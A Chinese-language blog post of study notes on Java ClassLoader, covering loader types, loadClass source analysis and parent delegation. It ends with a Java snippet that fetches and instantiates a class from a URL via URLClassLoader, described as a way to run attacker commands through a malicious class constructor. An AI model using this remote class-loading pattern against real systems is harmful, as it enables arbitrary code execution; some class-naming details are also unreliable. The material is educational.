java_ClassLoader学习

java_ClassLoader学习

ClassLoader是什么?引用网上的解释,很通俗易懂

一个完整的 Java 应用程序由若干个 Java Class 文件组成,当程序在运行时,会通过一个入口函数来调用系统的各个功能,这些功能都被存放在不同的 Class 文件中。

因此,系统在运行时经常会调用不同 Class 文件中被定义的方法,如果某个 Class 文件不存在,则系统会抛出 ClassNotFoundException 异常。

系统程序在启动时,不会一次性加载所有程序要使用的 Class 文件到内存中,而是根据程序需要,通过 Java 的类加载机制动态将需要使用的 Class 文件加载到内存中; 只有当某个 Class 文件被加载到内存后,该文件才能被其他 Class 文件调用。

这个 “类加载机制“ 就是 ClassLoader , 他的作用是动态加载 Java Class 文件到 JVM 的内存空间中,让 JVM 能够调用并执行 Class 文件中的字节码

ClassLoader的分类

ClassLoader分为两类,分别为 JVM 默认加载器 和 用户自定义类加载器

JVM 默认加载器

JVM 默认加载器由引导类加载器(BootstrapClassLoader)、扩展类加载器(ExtensionsClassLoader)、系统类加载器组成(AppClassLoader)

用户自定义类加载器

用户自定义类加载器由用户自定义,用户怎么自定义类加载器呢?只需要继承java.lang.ClassLoader.class类并重写其findClass方法即可

引导类加载器

引导类加载器的对应类为sun.misc$BootClassPathHolder内部类,该加载器会加载 %JAVA_HOME%/jre/lib/目录下的java核心库

扩展类加载器

扩展类加载器的对应类为sun.misc$ExtClassLoader内部类,其继承了URLClassLoader加载器,所以它的父类加载器为URLClassLoader,该加载器会加载 %JAVA_HOME%/jre/lib/ext/目录下的java核心扩展库

系统类加载器

系统类加载器的对应类为sun.misc$AppClassLoader内部类,其继承了URLClassLoader加载器,所以它的父类加载器为URLClassLoader,该加载器会根据CLASSPATH 环境变量中指定的路径进行加载

java.lang.ClassLoader.loadClass方法代码分析

java.lang.ClassLoader类的常用方法有loadClass、findClass、defineClass

loadClass(String name) 加载名称为 name 的类,返回的结果是 java.lang.Class 类的实例

findClass(String name) 查找名称为 name 的类,返回的结果是 java.lang.Class 类的实例

defineClass(String name, byte[] b, int off, int len) 把字节数组 b 中的内容转换成 Java 类,返回的结果是 java.lang.Class 类的实例

loadClass方法源码如下

java_ClassLoader学习

先通过findLoadedClass方法查找要加载的类,如果已经加载了则不再进行加载。然后调用父类加载器的loadClass方法进行加载类,父类加载器也会判断是否已经加载,加载了就返回,没加载则再调用父类加载器。如果父类加载器都没加载,直到找到引导类加载器(BootstrapClassLoader),这时候就会调用findBootstrapClassOrNull方法进行查找要加载的类,父类没找到则委派给其子类查找,如果所有子类都没查到,则调用findClass方法进行查找,但是当我们没自定义类加载器时,findClass方法里面是空的,只有一个异常语句抛出,所以自定义类加载器时需要重写findClass方法

java_ClassLoader学习

双亲委派机制

通过对java.lang.ClassLoader.loadClass方法的代码分析,双亲委派机制不难理解

当一个类加载器要加载一个类时,会先判断自身加载器是否已经加载这个类,如果加载了就不再重复加载,自身加载器没加载则判断父类加载器是否加载这个类,如果加载了则不再重复加载,直至查找到引导类加载器(BootstrapClassLoader),这时确定没有加载这个类,那么就会查找这个类

引导类加载器(BootstrapClassLoader)会先在%JAVA_HOME%/jre/lib/目录进行查找,如果没找到则委派给扩展类加载器(ExtensionsClassLoader)查找,如果还没找到,则继续委派给系统类加载器(AppClassLoader)查找,再没找到则委派给自定义加载器进行查找,再找不到则抛出异常

下面一张图描绘了双亲委派机制

java_ClassLoader学习

结合前面的源码分析,双亲委派机制应该不难理解。那么双亲委派机制有哪些优势呢?

双亲委派机制可以确保不重复加载类,在加载器(包括其父类加载器)已经加载对应类的情况下,不会再重复加载。不再重复加载也保证了java核心库的安全,当攻击者自定义一个恶意的java.lang.String 类并通过一定手段传输到对方电脑上时,由于双亲委派机制,当尝试加载这个恶意类的时候,会因为String类已经加载过而不会重复加载此类,避免了java核心库类被修改

URLClassLoader

在java安全中,URLClassLoader加载器还是比较常用的,通过这个加载器我们可以加载本地Class文件和网络传输的Class文件

如下代码加载http://127.0.0.1/Example02恶意类并实例化,往恶意类的构造方法添加执行命令的代码即可实现攻击

package com.example;

import java.net.URL;
import java.net.URLClassLoader;

public class Example01 {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://127.0.0.1/");
        URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
        Class clazz = classLoader.loadClass("Example02");
        clazz.newInstance();
    }
}

参考

java安全漫谈《Java中动态加载字节码的那些方法》

https://www.guildhab.top/2021/03/java%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0-%E7%B1%BB%E5%8A%A0%E8%BD%BD%E5%99%A8-classloader/

https://ego00.blog.csdn.net/article/details/119456460

上一篇:为什么编译时会报 Unsupported major.minor version 51.0 错误?


下一篇:java-如何从给定的URL(用于bean实例化)使Spring加载类?